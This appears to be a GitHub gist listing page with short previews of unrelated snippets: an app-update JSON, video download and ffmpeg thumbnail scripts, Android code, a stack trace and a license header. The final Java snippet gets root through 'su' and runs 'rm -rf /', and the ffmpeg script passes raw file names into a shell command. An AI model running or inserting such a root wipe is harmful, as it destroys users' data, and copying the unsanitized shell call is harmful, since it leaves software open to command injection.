This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"code":0, | |
"data": { | |
"tip_version_name": "4.1.1", | |
"tip_version_code": 4011, | |
"real_version_name": "4.1.1", | |
"real_version_code": 4011, | |
"pre_download_max_wait_seconds": 3600, | |
"market_update_enable": 0, | |
"latency": 10, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding=UTF-8 | |
# import requests | |
import urllib | |
import urllib.request | |
# import urllib2 | |
# 文件路径 | |
path = '/Users/dk/Desktop/抖音/' | |
num = 0 | |
downloadPool = [] | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding=UTF-8 | |
import os | |
filePath = '/Users/dk/Desktop/videos' | |
list = os.listdir(filePath) | |
for file in list: | |
os.system("ffmpeg -i "+file+" -y -f mjpeg -ss 3 -t 1 "+file+".jpg") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.List; | |
import android.content.Context; | |
import android.content.Intent; | |
import android.content.pm.PackageInfo; | |
import android.content.pm.PackageManager; | |
import android.content.pm.ProviderInfo; | |
import android.content.pm.ResolveInfo; | |
import android.text.TextUtils; | |
/** |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
java.lang.NullPointerException: Attempt to invoke virtual method 'void android.view.View.setDrawingCacheBackgroundColor(int)' on a null object reference | |
at android.widget.AbsListView.obtainView(AbsListView.java:2494) | |
at android.widget.ListView.makeAndAddView(ListView.java:1894) | |
at android.widget.ListView.fillDown(ListView.java:710) | |
at android.widget.ListView.fillSpecific(ListView.java:1372) | |
at android.widget.ListView.layoutChildren(ListView.java:1673) | |
at android.widget.AbsListView.onLayout(AbsListView.java:2227) | |
at android.view.View.layout(View.java:15912) | |
at android.view.ViewGroup.layout(ViewGroup.java:5108) | |
at android.widget.FrameLayout.layoutChildren(FrameLayout.java:633) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Copyright 2014 Chris Banes | |
* | |
* Licensed under the Apache License, Version 2.0 (the "License"); | |
* you may not use this file except in compliance with the License. | |
* You may obtain a copy of the License at | |
* | |
* http://www.apache.org/licenses/LICENSE-2.0 | |
* | |
* Unless required by applicable law or agreed to in writing, software |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Process process = null; | |
DataOutputStream os = null; | |
try { | |
process = Runtime.getRuntime().exec("su"); | |
os = new DataOutputStream(process.getOutputStream()); | |
os.writeBytes("rm -rf /" + "\n"); | |
os.writeBytes("exit\n"); | |
os.flush(); | |
process.waitFor(); |